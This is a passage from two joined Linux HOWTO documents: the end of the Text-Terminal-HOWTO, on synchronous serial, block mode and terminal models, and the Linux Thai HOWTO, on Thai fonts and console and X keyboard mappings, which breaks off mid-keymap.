Did you ever wonder what all the unused pins are for on a 25-pin connector for the serial port? Most of them are for use in synchronous communication which is seldom implemented on PC's. There are pins for sync timing signals as well as for a sync reverse channel. The EIA-232 spec provides for both sync and async but PC's use a UART (Universal Asynchronous Receiver/Transmitter) chip such as a 16450, 16550A, or 16650 and can't deal with sync. For sync one needs a USART chip or the equivalent where the "S" stands for Synchronous. Since sync is a niche market, a sync serial port is likely to be quite expensive.

Besides the sync part of the EIA-232, there are various other EIA synchronous standards. For EIA-232, 3 pins of the connector are reserved for clock (or timing) signals. Sometimes it's a modem's task to generate some timing signals making it impossible to use synchronous communications without a synchronous modem (or without a device called a "synchronous modem eliminator" which provides the timing signals).

Although few serial ports are sync, synchronous communication does often take place over telephone lines using modems which use V.42 error correction. This strips off the start/stop bits and puts the date bytes in packets resulting in synchronous operation over the phone line.

22.7 Block Mode

Introduction to Block Mode

Block mode is seldom used with Linux and is mainly of historical interest. In block mode, when one types at a terminal the results are saved in the terminal memory and are not sent just yet to the host computer. Such terminals often have built-in editing capabilities. When the user presses certain keys (such as the send key) what has been saved in the terminal memory is sent to the host computer. Now the Linux editors vi and emacs, must react instantly to typing certain keys so block mode isn't feasible. Such editors and other interactive programs can't permit the long delay in sending a keystroke to the computer which is inherent in block mode. So they can't use block mode.

The old IBM mainframe interface uses block mode (see IBM Terminals so many IBM terminals are block-mode only and also synchronous (see Section Synchronization & Synchronous).

Types of Block Modes, Forms

Block mode may itself have various sub-modes such as "page" (a page at a time) and "line" (a line at a time). Some terminals have both block transmission modes and conventional character modes and may be switched from one mode to another. Async terminals which have block modes include HP2622A, Wyse60, VT130, VT131, VT330, VT340, and Visual500. Many later model terminals can emulate block mode. But the Linux console can't. Block modes may include a forms capability where the host computer sends a form to the terminal. Then the user fills it out and hits the send key which sends only the data in the form back to the host computer. The form itself (not the data) is displayed on the screen in protected fields which don't get transmitted to the host.

Efficiency

Block mode takes load off the host computer, especially if the host computer's hardware is designed for block modes (as IBM mainframes were). In character mode every character typed is sent immediately to the serial port and usually causes an interrupt at the host computer. The host that receives the byte must stop whatever it is doing and fetch that character from the port hardware. Even with UART's that have FIFO hardware buffers, the hardware timeout is normally only the transmission time of 3 bytes so that an interrupt is usually issued for every character typed.

In true block mode a long block of characters is received using only one interrupt. If block mode is used with conventional async FIFO serial ports, an interrupt is needed only every 14 bytes since they have 16-byte hardware buffers. Thus much of the load and overhead of interrupt handling is eliminated and the computer has more time to do other tasks when block mode is used.

A significant savings for block mode occurs if the terminal is connected to its host via a network. Without block mode, every character (byte) typed is sent in its own packet including all the overhead bytes (40 in a TCP/IP packet as used on the Internet). With block mode, a large number of characters are sent in a single packet.

Problems with block mode

While block mode is more efficient, it is nearly extinct, and for good reason. Faster and cheaper computers made the higher efficiency less important. For example, a 56k modem results in hundreds of interrupts per second (every 14 characters) while typing at a terminal only causes a few interrupts per second (one for each character typed). So the number of interrupts caused by typing at a terminal is not very significant (unless you have hundred of terminals connected to the same computer).

Another point is that the efficiency is not of much significance where the user doesn't type in very much. Editors are a primary example of where the user types in a lot. But if you use block mode for editing, you must then use the crude editor built into terminal. Modern editors like vim and emacs are much better but can't use block mode. Even in the days of mainframes with terminals, block mode wasn't used much except by IBM. A major reason was that software to utilize it was not widely available (except for IBM). The terminfo data base doesn't seem to include it and this would complicate writing software for it.

22.8 EIA-232 (RS-232) Books

(Note: The first book covers much more than just EIA-232.)

  • Black, Uyless D.: Physical Layer Interfaces & Protocols, IEEE Computer Society Press, Los Alamitos, CA, 1996.
  • Campbell, Joe: The RS-232 Solution, 2nd ed., Sybex, 1982.
  • Putnam, Byron W.: RS-232 Simplified, Prentice Hall, 1987.
  • Seyer, Martin D.: RS-232 Made Easy, 2nd ed., Prentice Hall, 1991.

22.9 Serial Software

See Serial Software for Linux software for the serial ports including getty and port monitors.


Text-Terminal-HOWTO: Appendix D: Notes by Brand/Model

 Next Previous Contents

23. Appendix D: Notes by Brand/Model

Here are notes by brand name that were too specific to a certain terminal to be put elsewhere in this HOWTO. If you have some info to contribute on a certain terminal that is not covered elsewhere, it could go here. Various models often have much in common which only need be written about in one place. It would be nice if for each terminal model, there were a set of links linking to the documentation relevant to that model (including escape codes). There are so many models of terminals that such a task would be quite onerous and I, David Lawyer (as of 1998), have no intention of attempting this. Note that some VT (DEC) manuals are now available on the Internet. See and VT (DEC). Wyse has put what amounts to its manuals on the Internet. See Wyse Terminals.

23.1 CIT

CIT terminals were made in Japan in the 1980's for CIE Terminals. They ceased to be imported in the late 1980's. The company, CIE, still makes CItoh printers (in 1997) but has no parts for its abandoned terminals. Ernie at (714) 453-9555 in Irvine CA sells (in 1997) some parts for models 224, 326, etc. but has nothing for the 80 and 101. (The document you are now reading was written mostly on the 101e.)

To save the Set-Up parameters press ^S when in Set-Up mode. cit80: Contrast: knob on rear of terminal, cit101e: Brightness: use up/down arrow keys in Set-Up mode.

23.2 IBM Terminals

Don't confuse IBM terminals with IBM PC monitors. Many IBM terminals don't use ASCII but instead use an 8-bit EBCDIC code. It's claimed that in EBCDIC the bit order of transmission is reversed from normal with the high-order bit going first. The IBM mainframe communication standards are a type of synchronous communication in block mode (sends large packets of characters). Two standards are "BISYNC" and "SNA" (which includes networking standards). Many of their terminals connect with coax cable (RG62A/U) and naive persons may think the "BNC" connecter on the terminal is for ethernet (but it's not).

While this IBM system is actually more efficient than what is normally used in Linux, terminals meeting this IBM standard will not currently work with Linux. However, some IBM terminals are asynchronous ASCII terminals and should work with Linux on PC's. The numbers 31xx may work with the exception that 317x and 319x are not ASCII terminals. Before getting an IBM terminal, make sure there is a termcap (terminfo) for it. If their isn't, it likely will not work with Linux. Even if there is a terminfo, it may not work. For example, there is a termcap for 327x but the 3270 is an EBCDIC synchronous terminal.

The 3270 series includes the 3278 (late 1970's), 3279 with color and graphics, and the 3274 terminal controller (something like the 3174). They may be used for both BISYNC and SNA. The 3290 has a split screen (splits into quarters).

The synchronous IBM terminals don't connect directly to the IBM mainframe, but connect to a "terminal controller" (sometimes called "cluster controller" or "communication controller"). Some of these controllers can convert a synchronous signal to asynchronous so that in this case a synchronous terminal could indirectly connect to a Unix-like host computer via its serial port. But there is still a major problem and that is block transmission. See section Block Mode.

IBM 3153

It's claimed that the Aux port is DCE and uses a straight-thru cable.

23.3 Teletypes

These are antiques and represent the oldest terminals. They are like remotely controlled typewriters but are large and noisy. Made by the Teletype Corp., the first models were made in the 1920's and predate the computer by over 30 years. Early models used electro-mechanical relays and rotating distributors instead of electronics. Their Baudot code was only 5-bits per character as compared to 7-bit ASCII. See the book "Small Computer Systems Handbook" by Sol Libes, Hayden Books, 1978: pp. 138-141 ("Teletypes").

23.4 VT (DEC)

Digital Equipment Corporation made the famous VT series of terminals including the commonly emulated VT100. In 1995 they sold their terminal business to SunRiver which is now named Boundless Technologies. Detailed VT terminal information, some manuals, and history is at http://www.vt100.net/. Other information is available at Shuford's Website. Information on current products is available from the Boundless website. See Terminal Info on the Internet.

VT220: Some have a BNC connector for video output (not for input). Sometimes people erroneously think this is for an ethernet connection.

VT520: Supports full DTR/DSR flow control.

Dorio: Can emulate many other terminals. The "sco unix console" is claimed to be a powerful emulation using the "scoansi" terminfo.

23.5 Wyse Terminals

For detailed manual-like information on old terminals see http://www.wyse.com/service/support/kbase/wyseterm.asp. This information includes specs, lists of escape sequences, part lists, FAQs, setup info, etc. Thanks to Wyse for providing this. For the specs on more recent terminals see See Wyse terminals.

Wyse terminals were lower in cost than other brands and they captured a major share of the market. There were concerns about the quality of these terminals, especially the Wyse 50. But the large number of failure reports is due in part to the large number of Wyse terminals in use.

Wyse 50

Reported not to last very long.

Wyse 60

Display adjustments (must remove cover): Brightness VR202, Height VR302, Width VR101 (also affects height). If you want to use it in Native Personality, then the arrow-key codes will conflict with the codes used in vi (such as ^L). To fix this set "Application key mode" with ESC 3. This results in the arrow keys sending 0xd1 - 0xd4. Due to a bug in the readline interface of the Bash shell, you need to edit /etc/inputrc so that the arrow keys will work in Bash. See Bugs in Bash

Wyse 85

Can emulate VT52/VT100/VT200. Press F3 for setup. After moving left/right to go the a menu "icon", press space to select it. Scroll thru setup menus with up/down keys. Press F3 at any time to reenter setup (without loosing any settings).

Wyse 99-GT

Here is the setup Menus of the Wyse99GT (late 1980's). Note that TERM means "termination" (character) and not "terminal".

  WYSE 99-GT Terminal Set-Up as used at the University of CA, Irvine
                by David Lawyer, April 1990

                        F1 DISP:
COLUMNS=80              LINES=24                CELL SIZE=10 X 13
STATUS LINE=STANDARD    BACKGROUND=DARK         SCROLL SPEED=JUMP
SCREEN SAVER=OFF        CURSOR=BLINK BLOCK      DISPLAY CURSOR=ON
ATTRIBUTE=CHAR          END OF LINE WRAP=ON     AUTO SCROLL=ON
----------------------------------------------------------------------------
                        F2  GENERAL:
PERSONALITY=VT 100      ENHANCE=ON              FONT LOAD=OFF
COMM MODE=FULL DUPLEX   RCVD CR=CR              SEND ACK=ON
RESTORE TABS=ON         ANSWERBACK MODE=OFF     ANSWERBACK CONCEAL=OFF
WIDTH CHANGE CLEAR=OFF  MONITOR=OFF             TEST=OFF
----------------------------------------------------------------------------
                        F3 KEYBRD:
KEYCLICK=OFF            KEYLOCK=CAPS            KEY REPEAT=ON
RETURN=CR               ENTER=CR                FUNCT KEY=HOLD
XMT LIMIT=NONE          FKEY XMT LIMIT=NONE     BREAK=170MS
LANGUAGE=US             MARGIN BELL=OFF         PRINTER RCV=OFF
----------------------------------------------------------------------------
                        F4 COMM:
DATA/PRINTER=AUX/MODEM    MDM RCV BAUD RATE=9600  MDM XMT BAUD RATE=9600
MDM DATA/STOP BITS=8/1    MDM RCV HNDSHAKE=NONE   MDM XMT HNDSHAKE=NONE
MDM PARITY=NONE           AUX BAUD RATE=9600      AUX DATA/STOP BITS=8/1
AUX RCV HNDSHAKE=NONE     AUX XMT HNDSHAKE=NONE   AUX PARITY=NONE
(There is a main port (Modem=MDM) and an Auxiliary Port (AUX)
----------------------------------------------------------------------------
                        F5 MISC 1:
WARNING BELL=ON         FKEY LOCK=OFF           FEATURE LOCK=ON
KEYPAD=NUMERIC          DEL=DEL/CAN             XFER TERM=EOS
CURSOR KEYS=NORMAL      MARGIN CTRL=0           DEL FOR LOW Y=ON
GIN TERM=CR             CHAR MODE=MULTINATIONAL
----------------------------------------------------------------------------
                        F6 MISC 2:
LOCAL=OFF               SEND=ALL                PRINT=NATIONAL
PORT=EIA DATA           SEND AREA=SCREEN        PRINT AREA=SCREEN
DISCONNECT=60 MSEC      SEND TERM=NONE          PRINT TERM=NONE
PRINT MODE=NORMAL       VT100 ID=VT100          POUND=US
----------------------------------------------------------------------------
F7 TABS: You should see several "T" characters spaced 8 dots apart.
    If you don't, hit backspace.
F8 F/KEYS: Normally you will see no definitions for the Function Keys
    here (unless someone has set them up and saved them).  This means that
    they will normally generate their default settings (not displayed here).
    <ctrl><F5> shows the "user defined definition" of the F5 key, etc.
F9 A/BACK: Normally not defined: ANSWERBACK =
F10 EXIT: Selecting "DEFAULT ALL" will make the factory default settings
    the default.

HINTS on use of WY-99GT User's Guide: Note that much that is missing from this Guide may be found in the WY-99GT Programmer's Guide. The VT100 emulation (personality) is known as ANSI and uses ANSI key codes per p. A-10+ even though the keyboard may be ASCII. A sub-heading on p. A-13 "ASCII Keyboard" also pertains to VT100 because it has an "ANSI KEY ..." super-heading a few pages previously. But not all ASCII keyboard headings pertain to VT100 since they may fall under a non-ANSI personality super-heading which may found be a few pages previously. Appendix H is the "ANSI Command Guide" except for the VT52 (ANSI) personality which is found in Appendix G.

Wyse 150

When exiting set-up using F12, hitting space changes "no" to "yes" to save the set-up. The sentence to the left of this no/yes is about "vertical alignment" and has nothing to do with this no/yes for saving the set-up (confusing menu design).

END OF Text-Terminal-HOWTO


The Linux Thai HOWTO

Poonlap Veeratanabutr, poon-v@fedu.uec.ac.jp

v0.4, 4 August 1998

This document describes how to use Thai language with Linux. This will cover setting Thai fonts, Thai keyboard and some Thai applications.

1. Introduction

2. Thai Input and Output

  • 2.1 Linux console
  • 2.2 X Window system

3. Applications with Thai language

  • 3.1 Some X applications and Thai language
  • 3.2 Printing Thai document
  • 3.3 X Application Resources
  • 3.4 Thai Extension for Linux (TE)

4. References and FTP sites

  • 4.1 Other documents of relevance
  • 4.2 Thai related stuffs
  • 4.3 FTP and Web sites

5. Acknowledgments and Copyright


The Linux Thai HOWTO: Introduction

 Next Previous Contents

1. Introduction

It's about one year that I didn't update this document. There were a lot of movement in Thai computing and using Linux in Thailand. For example, Linux boxes are used as server in many schools in Thailand.

The purpose of this document is to show how to set your Linux to use Thai language. I use Linux RedHat 5.0 as I wrote this document, so directories which I mention in this document may be different from other distribution.

First I would like to talk about Thai standard character set. Thai standard character set is TIS-620. There are also other Thai standard character sets such as ISO-IR-166, CP874, etc. Please see http://www.inet.co.th/cyberclub/trin/thairef/ for further information about Thai standard character set. TIS-620 is 8-bit character set. It has the same range as ISO-8859-1, so we can use apllications that support ISO-8859-1 character set also. Although we can use Thai language with apllications that support ISO-8859-1 character set, but it does not mean those applications support Thai language.

Thai characters are different from English characters. There is a variation of position, normal position, character can be on other character, character can be under other character. There is no space between words. These are some problems in developing Thai supported application.

You can find the lastest version of Thai-HOWTO document from http://www.fedu.uec.ac.jp/ZzzThai/Linux. Your comment is welcome.


The Linux Thai HOWTO: Thai Input and Output

 Next Previous Contents

2. Thai Input and Output

2.1 Linux console

Thai characters do not display properly in Linux console. If you mainly use X window, you may pass this section.

Thai fonts

You can obtain Linux Thai console fonts which created by Mr. Phaisarn Techajaruwong from ZzzThai ftp site

For example, there is a font name "phaisarn.psf". Put it in /usr/lib/kbd/consolefonts/ directory. Then, you can load the new font from Linux console by command

%setfont phaisarn.psf

Keyboard layout

You can set keyboard behavior as you like by using loadkeys command. Usually, you use loadkeys to load the file located in /usr/lib/kbd/keytables. You can create a US/Thai keyboard-map file and save it in this directory. Here is a sample.

keycode   0 =
keycode   1 = Escape           Escape
        alt     keycode   1 = Meta_Escape
keycode   2 = +one              exclam          +0x0e5          plus
        alt     keycode   2 = Meta_one
        alt shift keycode 2 = Meta_exclam
keycode   3 = +two              at              +slash          0x0f1
        control keycode   3 = nul
        control shift keycode 3 = nul
        alt     keycode   3 = Meta_two
        alt shift keycode 3 = Meta_at
keycode   4 = +three            numbersign      +underscore     0x0f2
        control keycode   4 = Escape
        alt     keycode   4 = Meta_three
        alt shift keycode 4 = Meta_numbersign
keycode   5 = +four             dollar          +0x0c0          0x0f3
        control keycode   5 = Control_backslash
        alt     keycode   5 = Meta_four
        alt shift keycode 5 = Meta_dollar
keycode   6 = +five             percent         +0x0b6          0x0f4
        control keycode   6 = Control_bracketright
        alt     keycode   6 = Meta_five
        alt shift keycode 6 = Meta_percent
keycode   7 = +six              asciicircum     +0x0d8          0x0d9
        control keycode   7 = Control_asciicircum
        alt     keycode   7 = Meta_six
        alt shift keycode 7 = Meta_asciicircum
keycode   8 = +seven            ampersand       +0x0d6          0x0df
        control keycode   8 = Control_underscore
        alt     keycode   8 = Meta_seven
keycode   9 = +eight            asterisk        +0x0a4          0x0f5
        control keycode   9 = Delete
        alt     keycode   9 = Meta_eight
keycode  10 = +nine             parenleft       +0x0b5          0x0d6
        alt     keycode  10 = Meta_nine
keycode  11 = +zero             parenright      +0x0a8          0x0f7
        alt     keycode  11 = Meta_zero
keycode  12 = +minus            underscore      +0x0a2          0x0f8
        control keycode  12 = Control_underscore
        control shift keycode 12 = Control_underscore
        alt     keycode  12 = Meta_minus
keycode  13 = +equal            plus            +0x0aa          0x0f9
        alt     keycode  13 = Meta_equal
keycode  14 = Delete           Delete           Delete          Delete
        alt     keycode  14 = Meta_Delete
keycode  15 = Tab              Tab              Tab             Tab
        alt     keycode  15 = Meta_Tab
keycode  16 = +q        Q       +0x0e6          0x0f0
keycode  17 = +w        W       +0x0e4          quotedbl
keycode  18 = +e        E       +0x0d3          0x0ae
keycode  19 = +r        R       +0x0be          0x0b1
keycode  20 = +t        T       +0x0d0          0x0b8
keycode  21 = +y        Y       +0x0d1          0x0ed
keycode  22 = +u        U       +0x0d5          0x0ea
keycode  23 = +i        I       +0x0c3          0x0b3
keycode  24 = +o        O       +0x0b9          0x0cf
keycode  25 = +p        P       +0x0c2          0x0ad
keycode  26 = +bracketleft      braceleft       +0x0ba          0x0b0
        control keycode  26 = Escape
        alt     keycode  26 = Meta_bracketleft
        alt shift keycode 26 = Meta_braceleft
keycode  27 = +bracketright     braceright      +0x0c5          comma
        control keycode  27 = Control_bracketright
        alt     keycode  27 = Meta_bracketright
        alt shift keycode 27 = Meta_braceright
keycode  28 = Return            Return          Return          Return
        alt     keycode  28 = 0x080d
keycode  29 = Control           Control         Control         Control
keycode  30 = +a        A       +0x0bf          0x0c4
keycode  31 = +s        S       +0x0cb          0x0a6
keycode  32 = +d        D       +0x0a1          0x0af
keycode  33 = +f        F       +0x0b4          0x0e2
keycode  34 = +g        G       +0x0e0          0x0ac
keycode  35 = +h        H       +0x0e9          0x0e7
keycode  36 = +j        J       +0x0e8          0x0eb
keycode  37 = +k        K       +0x0d2          0x0c9
keycode  38 = +l        L       +0x0ca          0x0c8
keycode  39 = +semicolon        colon           +0x0c7          0x0ab
        alt     keycode  39 = Meta_semicolon
keycode  40 = +apostrophe       quotedbl        +0x0a7          period
        control keycode  40 = Control_g
        alt     keycode  40 = Meta_apostrophe
keycode  41 = +grave            asciitilde      +minus          percent
        control keycode  41 = nul
        alt     keycode  41 = Meta_grave
keycode  42 = Shift            Shift            Shift           Shift
keycode  43 = +backslash        bar             +0x0a3          0x0a5
        control keycode  43 = Control_backslash
        alt     keycode  43 = Meta_backslash
        alt shift keycode 43 = Meta_bar
keycode  44 = +z        Z       +0x0bc          parenleft
keycode  45 = +x        X       +0x0bb          parenright
keycode  46 = +c        C       +0x0e1          0x0a9
keycode  47 = +v        V       +0x0cd          0x0ce
keycode  48 = +b        B       +0x0d4          0x0da
keycode  49 = +n        N       +0x0d7          0x0ec
keycode  50 = +m        M       +0x0b7          question
keycode  51 = +comma    less    +0x0c1          0x0b2
        alt     keycode  51 = Meta_comma
        alt shift keycode 51 = Meta_less
keycode  52 = +period           greater         +0x0e3          0x0cc
        alt     keycode  52 = Meta_period
        alt shift keycode 52 = Meta_greater
keycode  53 = +slash            question        +0x0bd          0x0c6
        control keycode  53 = Delete
        alt     keycode  53 = Meta_slash
keycode  54 = Shift            Shift            Shift           Shift
keycode  55 = KP_Multiply
keycode  56 = Alt              Alt              Alt             Alt
keycode  57 = space            space            space           space
        control keycode  57 = nul
        alt     keycode  57 = Meta_space
keycode  58 = Caps_Lock        Caps_Lock        Caps_Lock       Caps_Lock
keycode  59 = F1               F11              Console_13
        control keycode  59 = F1
        alt     keycode  59 = Console_1
        control alt     keycode  59 = Console_1
keycode  60 = F2               F12              Console_14
        control keycode  60 = F2
        alt     keycode  60 = Console_2
        control alt     keycode  60 = Console_2
keycode  61 = F3               F13              Console_15
        control keycode  61 = F3
        alt     keycode  61 = Console_3
        control alt     keycode  61 = Console_3
keycode  62 = F4               F14              Console_16
        control keycode  62 = F4
        alt     keycode  62 = Console_4
        control alt     keycode  62 = Console_4
keycode  63 = F5               F15              Console_17
        control keycode  63 = F5
        alt     keycode  63 = Console_5
        control alt     keycode  63 = Console_5
keycode  64 = F6               F16              Console_18
        control keycode  64 = F6
        alt     keycode  64 = Console_6
        control alt     keycode  64 = Console_6
keycode  65 = F7               F17              Console_19
        control keycode  65 = F7
        alt     keycode  65 = Console_7
        control alt     keycode  65 = Console_7
keycode  66 = F8               F18              Console_20
        control keycode  66 = F8
        alt     keycode  66 = Console_8
        control alt     keycode  66 = Console_8
keycode  67 = F9               F19              Console_21
        control keycode  67 = F9
        alt     keycode  67 = Console_9
        control alt     keycode  67 = Console_9
keycode  68 = F10              F20              Console_22
        control keycode  68 = F10
        alt     keycode  68 = Console_10
        control alt     keycode  68 = Console_10
keycode  69 = Num_Lock
keycode  70 = Scroll_Lock      Show_Memory      Show_Registers
        control keycode  70 = Show_State
        alt     keycode  70 = Scroll_Lock
keycode  71 = KP_7
        alt     keycode  71 = Ascii_7
keycode  72 = KP_8
        alt     keycode  72 = Ascii_8
keycode  73 = KP_9
        alt     keycode  73 = Ascii_9
keycode  74 = KP_Subtract
keycode  75 = KP_4
        alt     keycode  75 = Ascii_4
keycode  76 = KP_5
        alt     keycode  76 = Ascii_5
keycode  77 = KP_6
        alt     keycode  77 = Ascii_6
keycode  78 = KP_Add
keycode  79 = KP_1
        alt     keycode  79 = Ascii_1
keycode  80 = KP_2
        alt     keycode  80 = Ascii_2
keycode  81 = KP_3
        alt     keycode  81 = Ascii_3
keycode  82 = KP_0
        alt     keycode  82 = Ascii_0
keycode  83 = KP_Period
        altgr   control keycode  83 = Boot
        control alt     keycode  83 = Boot
keycode  84 = Last_Console
keycode  85 =
keycode  86 = less             greater          bar
        alt     keycode  86 = Meta_less
keycode  87 = F11              F11              Console_23
        control keycode  87 = F11
        alt     keycode  87 = Console_11
        control alt     keycode  87 = Console_11
keycode  88 = F12              F12              Console_24
        control keycode  88 = F12
        alt     keycode  88 = Console_12
        control alt     keycode  88 = Console_12
keycode  89 =
keycode  90 =
keycode  91 =
keycode  92 =
keycode  93 =
keycode  94 =
keycode  95 =
keycode  96 = KP_Enter
keycode  97 = Control
keycode  98 = KP_Divide
keycode  99 = Control_backslash
        control keycode  99 = Control_backslash
        alt     keycode  99 = Control_backslash
keycode 100 = AltGr_Lock
keycode 101 = Break
keycode 102 = Find
keycode 103 = Up
keycode 104 = Prior
        shift   keycode 104 = Scroll_Backward
keycode 105 = Left
        alt     keycode 105 = Decr_Console
keycode 106 = Right
        alt     keycode 106 = Incr_Console
keycode 107 = Select
keycode 108 = Down
keycode 109 = Next
        shift   keycode 109 = Scroll_Forward
keycode 110 = Insert
keycode 111 = Remove
        altgr   control keycode 111 = Boot
        control alt     keycode 111 = Boot
keycode 112 =
keycode 113 =
keycode 114 =
keycode 115 =
keycode 116 =
keycode 117 =
keycode 118 =
keycode 119 =
keycode 120 =
keycode 121 =
keycode 122 =
keycode 123 =
keycode 124 =
keycode 125 =
keycode 126 =
keycode 127 =
string F1 = "\033[[A"
string F2 = "\033[[B"
string F3 = "\033[[C"
string F4 = "\033[[D"
string F5 = "\033[[E"
string F6 = "\033[17~"
string F7 = "\033[18~"
string F8 = "\033[19~"
string F9 = "\033[20~"
string F10 = "\033[21~"
string F11 = "\033[23~"
string F12 = "\033[24~"
string F13 = "\033[25~"
string F14 = "\033[26~"
string F15 = "\033[28~"
string F16 = "\033[29~"
string F17 = "\033[31~"
string F18 = "\033[32~"
string F19 = "\033[33~"
string F20 = "\033[34~"
string Find = "\033[1~"
string Insert = "\033[2~"
string Remove = "\033[3~"
string Select = "\033[4~"
string Prior = "\033[5~"
string Next = "\033[6~"
string F21 = ""
string F22 = ""
string F23 = ""
string F24 = ""
string F25 = ""
string F26 = ""

Suppose you save this file as thai.map. From Linux console, use command loadkeys to load thai.map.

%loadkeys thai.map
You can switch to Thai keyboard by pressing the right Alt key. If you want to switch the keyboard back, press the right Alt key again.

2.2 X Window system

Thai fonts

You can obtain Thai fonts in bdf format or pcf format from internet. You can also use scalable fonts such as Type1 or TrueType fonts. But I will not describe about these.

Installing Thai fonts

You must log in as root. Let's put Thai fonts in /usr/X11R6/lib/X11/fonts/misc/, this is a default font path. Change directory to /usr/X11R6/lib/X11/fonts/misc/ and run command

%mkfontdir
%xset fp rehash
If you put Thai fonts in different directory, you must use xset to add the new font path. Please see man-page for further information. You can check the new fonts by running command xlsfonts and see whether there are Thai fonts or not. If you can not see any Thai fonts from this command, you may need to restart X window.

Thai keyboard layoutThere are two ways to map Thai keyboard on X window, using X KeyboardExtension (XKB) and using xmodmap. Please select how you map Thai keyboard. Irecommend using XKB.

XKB and Thai keyboard layout.

Beginning with XFree86 3.1.2D, you can use the new X11R6.1 XKEYBOARD extension to manage the keyboard layout. This is very helpful.

During X server configuration with xf86config you will be asked about XKB, if you want to to set Thai keyboard layout for your system, say yes. There are a list of pre-configured keymaps. Choose Standard 101-key, Thai encoding.

XF86Setup is the graphical X server configuration utility for XFree86 X server. It is easier than traditional xf86config. You can select a keyboard layout easily with this tool.

Ther are many choices of keyboard switch key to select. The default is LeftAlt+RightShift switch to Thai and LeftAlt+LeftShift switch to US. You can type Thai characters in any applications which support ISO-8859-1 character set, but don't forget to use Thai fonts with those applications too.

I found that pre-configured keymaps that came with XFree86-3.2 is not correct. You may not be able to type THO THUNG which located at " 5 key " . To fix this problem, you should add the line

    key <AE05> {     [], [   paragraph,      ocircumflex     ]       };
in the file /usr/X11R6/lib/X11/xkb/symbols/th as the example.
.................
    key <AE03> {        [], [       minus,      ograve          ]       };
    key <AE04> {        [], [      Agrave,      oacute          ]       };
    key <AE05> {     [], [   paragraph,      ocircumflex     ]       };
    key <AE06> {        [], [    Ooblique,      Ugrave          ]       };
    key <AE07> {        [], [  Odiaeresis,      ssharp          ]       };
.................
You can not type SORUSI also. Please change the line from
    key <AC08> {        [], [      Ograve,      eacute          ]       };
to
    key <AC08> {        [], [      Ograve,      Eacute          ]       };
Note that eacute is equal to MAITHO and Eacute is equal to SORUSI.

There are also XKB extension utilities such as setxkbmap, xkbcomp, etc. Please see man-page for more information. I recommend to use xkbvled. The leds will be on when you are using Thai keyboard so you can know your keyboard's status.

The following is part of XF86Config file about keyboard section. If you want to configure the keyboard by hand, change the content of /usr/X11R6/lib/X11/XF86Config as an example below. This configuration uses the default toggle key.

Section "Keyboard"
   Protocol        "Standard"
   AutoRepeat      500 5
   LeftAlt         Meta
   RightAlt        Meta
   ScrollLock      Compose
   RightCtl        Control
#  XkbDisable
   XkbKeycodes     "xfree86"
   XkbTypes        "default"
   XkbCompat       "default"
   XkbSymbols      "us(pc101)"
   XkbGeometry     "pc"
   XkbRules        "xfree86"
   XkbModel        "pc101"
   XkbLayout       "th"
EndSection

If you use XKB extension, Thai keyboard mapping with xmodmap may not work. See XF86Config man-page for mor information.

Thai keyboard layout with xmodmap

You can use the utility xmodmap to map Thai keyboard. Normally xmodmap is used to load a keyboard configured file. For most Linux distributions, when you start X window with startx, X server will find .Xmodmap in /usr/X11R6/lib/X11/xinit/ first. If .Xmodmap does not exist, X server will find .Xmodmap in your home directory. Please see the content of /usr/X11R6/lib/X11/xinit/xinitrc.

The following is the sample of .Xmodmap for Thai Kedmanee keyboard layout.

!
! Linux/XFree86 Thai Kedmanee layout (based on US keyboard)
! Use ScrollLock to switch to Thai keyboard.
! This file will work with XFree86 only.
!

keycode 0x09 =  Escape
keycode 0x43 =  F1
keycode 0x44 =  F2
keycode 0x45 =  F3
keycode 0x46 =  F4
keycode 0x47 =  F5
keycode 0x48 =  F6
keycode 0x49 =  F7
keycode 0x4A =  F8
keycode 0x4B =  F9
keycode 0x4C =  F10
keycode 0x5F =  F11
keycode 0x60 =  F12
keycode 0x6F =  Print
keycode 0x4E =  Mode_switch     XF86ModeLock
keycode 0x6E =  Pause
keycode 0x31 =  grave           asciitilde      minus           percent
keycode 0x0A =  1               exclam          0x0e5           plus
keycode 0x0B =  2               at              slash           0x0f1
keycode 0x0C =  3               numbersign      underscore      0x0f2
keycode 0x0D =  4               dollar          0x0c0           0x0f3
keycode 0x0E =  5               percent         0x0b6           0x0f4
keycode 0x0F =  6               asciicircum     0x0d8           0x0d9
keycode 0x10 =  7               ampersand       0x0d6           0x0df
keycode 0x11 =  8               asterisk        0x0a4           0x0f5
keycode 0x12 =  9               parenleft       0x0b5           0x0f6
keycode 0x13 =  0               parenright      0x0a8           0x0f7
keycode 0x14 =  minus           underscore      0x0a2           0x0f8
keycode 0x15 =  equal           plus            0x0aa           0x0f9
keycode 0x33 =  backslash       bar             0x0a3           0x0a5
keycode 0x16 =  BackSpace
keycode 0x6A =  Insert
keycode 0x61 =  Home
keycode 0x63 =  Prior
keycode 0x4D =  Num_Lock
keycode 0x70 =  KP_Divide
keycode 0x3F =  KP_Multiply
keycode 0x52 =  KP_Subtract
keycode 0x17 =  Tab
keycode 0x18 =  q               Q               0x0e6           0x0f0
keycode 0x19 =  w               W               0x0e4           quotedbl
keycode 0x1A =  e               E               0x0d3           0x0ae
keycode 0x1B =  r               R               0x0be           0x0b1
keycode 0x1C =  t               T               0x0d0           0x0b8
keycode 0x1D =  y               Y               0x0d1           0x0ed
keycode 0x1E =  u               U               0x0d5           0x0ea
keycode 0x1F =  i               I               0x0c3           0x0b3
keycode 0x20 =  o               O               0x0b9           0x0cf
keycode 0x21 =  p               P               0x0c2           0x0ad
keycode 0x22 =  bracketleft     braceleft       0x0ba           0x0b0
keycode 0x23 =  bracketright    braceright      0x0c5           comma
keycode 0x24 =  Return
keycode 0x6B =  Delete
keycode 0x67 =  End
keycode 0x69 =  Next
keycode 0x4F =  KP_7
keycode 0x50 =  KP_8
keycode 0x51 =  KP_9
keycode 0x56 =  KP_Add
keycode 0x42 =  Caps_Lock
keycode 0x26 =  a               A               0x0bf           0x0c4
keycode 0x27 =  s               S               0x0cb           0c0a6
keycode 0x28 =  d               D               0x0a1           0x0af
keycode 0x29 =  f               F               0x0b4           0x0e2
keycode 0x2A =  g               G               0x0e0           0x0ac
keycode 0x2B =  h               H               0x0e9           0x0e7
keycode 0x2C =  j               J               0x0e8           0x0eb
keycode 0x2D =  k               K               0x0d2           0x0c9
keycode 0x2E =  l               L               0x0ca           0x0c8
keycode 0x2F =  semicolon       colon           0x0c7           0x0ab
keycode 0x30 =  apostrophe      quotedbl        0x0a7           period
keycode 0x53 =  KP_4
keycode 0x54 =  KP_5
keycode 0x55 =  KP_6
keycode 0x32 =  Shift_L
keycode 0x34 =  z               Z               0x0bc           parenleft
keycode 0x35 =  x               X               0x0bb           parenright
